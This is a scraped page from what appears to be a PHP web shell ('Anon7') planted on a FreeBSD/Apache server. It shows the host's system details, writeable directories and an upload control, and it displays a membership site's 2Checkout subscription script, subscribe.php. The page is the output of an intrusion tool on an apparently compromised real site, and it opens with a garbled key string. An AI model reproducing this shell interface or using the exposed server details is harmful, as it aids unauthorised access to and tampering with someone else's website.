KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/Membership/payments/2checkout/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/Membership/payments/2checkout/subscribe.php
<?php

/**************************************************/
/*
Released by AwesomePHP.com, under the GPL License, a
copy of it should be attached to the zip file, or
you can view it on http://AwesomePHP.com/gpl.txt
*/
/**************************************************/

/*
This file will display
a form to make a subscription
*/

/* Check for Rate */
if($_GET['rate_id'] == NULL || !is_numeric($_GET['rate_id'])){ die('Invalid Subscription Rate.');}

//Call Database & Connect
require_once('../../headers/database.php');
connect();

//Call functions
require_once('../../headers/functions.php');

//Login Check Page
require_once('../../headers/logincheck.php');

//Get Admin Values
$get_cd = mysql_query("SELECT * FROM `memb_config`");
while($each = mysql_fetch_assoc($get_cd)){$$each['config_name'] = $each['config_value'];}

if($is_logged == false){
	//Disconnect Database
	disconnect_data();
	header('Location: '.$CF_URLINC.'login.php?m=1');
}

$get_rate = mysql_fetch_assoc(mysql_query("SELECT * 
	FROM `memb_memberships_rates` WHERE `rate_id`='$_GET[rate_id]'"));

//Disconnect Database
disconnect_data();

/* Do we have correct rate? */
if($get_rate['rate_id'] != $_GET['rate_id']){ die('Invalid Membership Rate.');}

/* Get Paypal Class */
require_once('2co.class.php');

/***************************** SUBSCRIPTION EXAMPLE *****************************/
/* Start Class */
$doSubscribe = new twoCheckOut;
$doSubscribe->setSiteName($CF_SITENAME);

/*
Add variables to Form 
PARAMTERS MUST ADHERE TO 2CO STANDARDS
Which can be viewed at
https://www.2checkout.com/documentation/UsersGuide2/chapter6/setup-configurations.html
located in main folder of this class
*/

/*
Are we using demo mode
*/

if($CF_SANDBOX2 == '1'){
	$doSubscribe->addVar('demo	','Y');	/* Demo Mode */
}

$doSubscribe->addVar('sid',$CF_2COID);	/* Payment Email */
$doSubscribe->addVar('product_id',$get_rate['2checkout_PID']);
$doSubscribe->addVar('quantity','1');
$doSubscribe->addVar('merchant_product_id',$_GET['rate_id'].'_'.$user_info['user_id']);

/*
Now add a button
*/
$doSubscribe->addButton(5);	/* Default subscription button */
/* or use custom buttons */
/*
$doSubscribe->addButton(6,'http://farm3.static.flickr.com/2154/2173129258_2c40a673f5.jpg?v=0');
*/
/* Show final form */
echo '<div align="center">';
$doSubscribe->showForm();
echo '<div>';
?>

Anon7 - 2021